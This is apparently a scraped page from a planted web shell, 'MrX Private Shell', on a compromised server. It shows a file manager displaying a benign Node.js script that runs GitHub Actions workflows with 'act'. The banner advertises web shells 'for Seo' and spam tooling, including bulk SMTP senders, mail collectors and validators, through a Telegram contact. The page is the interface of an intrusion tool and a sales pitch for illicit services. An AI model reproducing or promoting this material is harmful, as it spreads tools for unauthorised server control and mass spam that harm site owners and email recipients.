__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
const { spawn } = require('child_process');
const which = require('which');

const workflowName = process.argv[2];

if (!workflowName) {
	console.error('Please provide the workflow name.');
	process.exit(1);
}

console.warn(`\x1b[36mRunning workflow: ${workflowName}\x1b[0m`);

const actPath = which.sync('act');

const actProcess = spawn(
	actPath,
	[
		//NOSONAR
		'-W',
		`.github/workflows/${workflowName}.yml`,
		'--secret-file',
		'.secrets',
	],
	{
		shell: true,
		stdio: 'inherit', // Esto redirige stdin/stdout/stderr directamente a la consola
	}
);

actProcess.on('error', (error) => {
	console.error(`\x1b[33mError running workflow: ${error.message}\x1b[0m`);
	process.exit(1);
});

actProcess.on('close', (code) => {
	if (code === 0) {
		console.warn(`\x1b[32mWorkflow completed successfully\x1b[0m`);
	} else {
		console.error(`\x1b[33mWorkflow failed with exit code ${code}\x1b[0m`);
		process.exit(code);
	}
});

Filemanager

Name Type Size Permission Actions
run-act-mac.js File 942 B 0640
run-act-win.js File 928 B 0640
Filemanager